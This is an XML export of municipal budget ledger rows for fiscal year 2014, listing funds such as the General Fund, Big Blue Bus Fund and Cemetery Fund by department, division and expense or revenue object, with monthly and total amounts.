<row _id="10551"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>83</december><january>216.85</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6399.85</total></row>
<row _id="10552"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1536.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1536.0</total></row>
<row _id="10553"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4312.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4312.0</total></row>
<row _id="10554"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3686.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>23</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3709.0</total></row>
<row _id="10555"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3075.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>35</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3110.0</total></row>
<row _id="10556"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8742.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>100</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8842.0</total></row>
<row _id="10557"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1908.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1908.0</total></row>
<row _id="10558"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>89317.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>89317.0</total></row>
<row _id="10559"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10352.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10352.0</total></row>
<row _id="10560"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>189584.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>189584.0</total></row>
<row _id="10561"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1928.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1928.0</total></row>
<row _id="10562"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>397794.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>397794.0</total></row>
<row _id="10563"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>519610.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>519610.0</total></row>
<row _id="10564"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12128.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12128.0</total></row>
<row _id="10565"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>120261.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>1864</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>122125.0</total></row>
<row _id="10566"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>201735.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>2970</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>204705.0</total></row>
<row _id="10567"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>406071.0</object><object_description>PLAYA VISTA</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-642010.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-642010.0</total></row>
<row _id="10568"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ENG</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-298599.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-298599.0</total></row>
<row _id="10569"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522115.0</object><object_description>UTIL-LIGHT/POWER-LIBRARY PARKI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>90421.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>90421.0</total></row>
<row _id="10570"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555870.0</object><object_description>GROCERY &amp; SUNDRY ITEMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>37841.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37841.0</total></row>
<row _id="10571"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4791.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4791.0</total></row>
<row _id="10572"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3075.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3075.0</total></row>
<row _id="10573"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>19951.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>70</december><january>193.99</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20214.99</total></row>
<row _id="10574"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11365.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>89</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11454.0</total></row>
<row _id="10575"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>23712.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>298</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24010.0</total></row>
<row _id="10576"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>85211.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>1088</december><january>742.82</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>87041.82</total></row>
<row _id="10577"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401001.0</object><object_description>SWIM CENTER-GROUP LESSONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-173047.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-173047.0</total></row>
<row _id="10578"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401004.0</object><object_description>SWIM CENTER-PERMIT GROUPS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-154324.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-154324.0</total></row>
<row _id="10579"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8576.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8576.0</total></row>
<row _id="10580"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>324.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>324.0</total></row>
<row _id="10581"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2175.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>-16.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2159.0</total></row>
<row _id="10582"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>52521.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52521.0</total></row>
<row _id="10583"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3476.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3476.0</total></row>
<row _id="10584"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1073.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1073.0</total></row>
<row _id="10585"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>882.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>882.0</total></row>
<row _id="10586"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1686.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1686.0</total></row>
<row _id="10587"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5615.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5615.0</total></row>
<row _id="10588"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>317835.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>317835.0</total></row>
<row _id="10589"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555940.0</object><object_description>GRAD NIGHT SUBSIDY</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8752.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8752.0</total></row>
<row _id="10590"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2434.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2434.0</total></row>
<row _id="10591"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>144.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>144.0</total></row>
<row _id="10592"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577960.0</object><object_description>ARTS TRANSFER</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="10593"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1588.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1588.0</total></row>
<row _id="10594"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>401801.0</object><object_description>PROCEEDS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-60000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>60000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="10595"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6952.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6952.0</total></row>
<row _id="10596"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4460.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4460.0</total></row>
<row _id="10597"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5290.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5290.0</total></row>
<row _id="10598"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>420.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>25.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>445.0</total></row>
